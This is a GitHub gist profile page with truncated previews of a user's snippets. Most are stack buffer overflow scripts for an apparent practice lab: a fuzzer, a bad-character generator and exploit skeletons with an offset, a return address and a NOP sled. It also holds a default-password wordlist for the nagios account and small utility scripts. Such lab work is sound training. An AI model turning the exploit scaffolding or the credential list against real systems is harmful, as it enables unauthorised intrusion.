Skip to content

Instantly share code, notes, and snippets.

View an0th3rhuman's full-sized avatar
👋
Hi there!

Raghul M an0th3rhuman

👋
Hi there!
View GitHub Profile
@an0th3rhuman
an0th3rhuman / exploit.py
Created February 13, 2021 07:02
Overflow 2 exploit code
import socket
ip = "10.10.172.142"
port = 1337
prefix = "OVERFLOW2 "
offset = 634
overflow = "A" * offset
retn = "/xDF/x11/x50/x62"
padding = "\x90" *16
@an0th3rhuman
an0th3rhuman / badchar.py
Created February 10, 2021 11:16
Stack bufferoverflow badchar
from __future__ import print_function
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
@an0th3rhuman
an0th3rhuman / exploit.py
Created February 10, 2021 11:16
Stack bufferoverflow exploit
import socket
ip = "MACHINE_IP"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
@an0th3rhuman
an0th3rhuman / fuzzer.py
Created February 10, 2021 11:14
Stackbuffer overflow
import socket, time, sys
ip = "MACHINE_IP"
port = 1337
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
This file has been truncated, but you can view the full file.
nagios:123456
nagios:123456789
nagios:qwerty
nagios:password
nagios:111111
nagios:12345678
nagios:abc123
nagios:1234567
nagios:password1
nagios:12345
import argparse
import gzip
import os
import shutil
import sys
import threading
def parse_input():
parser = argparse.ArgumentParser()
parser.add_argument('-target', nargs=1, required=True,
@an0th3rhuman
an0th3rhuman / isup.py
Created May 23, 2018 11:16
This will check if the server is up.. or else it will mail stating server is down
import smtplib
import pyping
error_msg = "Server is down!"
Server_ping = pyping.ping('google.com')
if Server_ping.ret_code == 0:
print("Server is up!")
else:
mail=smtplib.SMTP('smtp.gmail.com',587)
import argparse
import gzip
import os
import shutil
import sys
import threading
def parse_input():
parser = argparse.ArgumentParser()
parser.add_argument('-target', nargs=1, required=True,
@an0th3rhuman
an0th3rhuman / hello.asm
Created May 25, 2016 08:12
first program on assembly
extern printf
section .data
msg : db "Hey there!Welcome to my first ASM program",10,0
section .text
global main
main: